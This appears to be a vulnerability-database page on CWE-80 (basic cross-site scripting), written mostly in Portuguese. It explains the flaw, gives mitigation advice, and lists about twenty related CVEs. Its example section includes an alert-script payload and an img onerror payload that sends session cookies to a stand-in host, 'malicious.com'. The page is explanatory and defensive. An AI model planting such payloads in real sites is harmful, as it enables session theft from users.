Fallos del tipo CWE-80

646 resultados

Falta de neutralização de tags HTML relacionadas a scripts (XSS básico)

Quando uma aplicação web recebe dados do usuário e os insere diretamente no HTML da página sem sanitização ou escapamento, um atacante consegue injetar tags e scripts maliciosos que executam no navegador de outros usuários. É um dos tipos mais comuns de XSS (Cross-Site Scripting) e permite roubo de sessão, credenciais ou redirecionamento para sites maliciosos.

Ejemplo

Um formulário de busca que mostra o termo pesquisado na página sem validação: se o usuário entra <script>alert('xss')</script>, o script executa. Ou um campo de comentário que exibe <img src=x onerror='fetch(malicious.com?cookie='+document.cookie+')'>, roubando o cookie da sessão.

Cómo mitigar

Sempre escapar/encodar saídas HTML (ex: converter < para &lt;, > para &gt;), usar Content Security Policy (CSP) nos headers HTTP, e validar/sanitizar entrada no servidor. Em JavaScript, prefira textContent no lugar de innerHTML quando possível; em frameworks, use templating seguro (React, Vue escapam por padrão).

CVE-2026-43939HIGHYAF.NET: Stored XSS in Forum Thread Posts/Replies Allowing Arbitrary JavaScript Execution for All Thread ViewersEPSS 0.2%CVE-2026-35460MEDIUMPapra has an HTML Injection in Transactional Emails via Unescaped User Display NameEPSS 0.2%CVE-2026-27166MEDIUMDiscourse vulnerable to HTML injection via prohibited iframe URLsEPSS 0.2%CVE-2025-36230MEDIUMXSS in IBM Aspera FaspexEPSS 0.2%CVE-2026-1282LOWImproper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) in GitLabEPSS 0.2%CVE-2025-36397MEDIUMSecurity vulnerabilities have been found in IBM Application GatewayEPSS 0.2%CVE-2025-10128MEDIUMEulerpool Research Systems <= 4.0.1 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2026-39837MEDIUMStored XSS through the dynamic table format in CargoEPSS 0.2%CVE-2026-123483MEDIUMWordPress JetFormBuilder plugin <= 3.6.8 - Content Injection vulnerabilityEPSS 0.2%CVE-2026-39733MEDIUMWordPress ProfilePress plugin <= 4.17.7 - Content Injection vulnerabilityEPSS 0.2%CVE-2026-76563MEDIUMHTML Injection in FileorbisEPSS 0.2%CVE-2026-123469MEDIUMWordPress The Events Calendar plugin <= 6.18.3 - Content Injection vulnerabilityEPSS 0.2%CVE-2025-48884MEDIUMGalette is vulnerable to XSS through Document TypeEPSS 0.2%CVE-2025-22402LOWDell Update Manager Plugin, version(s) 1.5.0 through 1.6.0, contain(s) an Improper Neutralization of Script-Related HTML Tags in a Web Page EPSS 0.2%CVE-2025-14289MEDIUMIBM webMethods Integration Server is vulnerable to HTML injectionEPSS 0.2%CVE-2026-10511MEDIUMJupiter X Core <= 4.61.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'forget_password_link' ParameterEPSS 0.2%CVE-2026-11511MEDIUMBolt CMS HTML Attribute TextType.php HTML injectionEPSS 0.2%CVE-2026-2995HIGHImproper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) in GitLabEPSS 0.2%CVE-2026-39839MEDIUMStored XSS through URLs in Cargo's map formatEPSS 0.2%CVE-2025-6247MEDIUMWordPress Automatic Plugin - AI content generator and auto poster plugin <= 3.118.0 - Cross-Site Request Forgery to Stored Cross-Site ScriptingEPSS 0.2%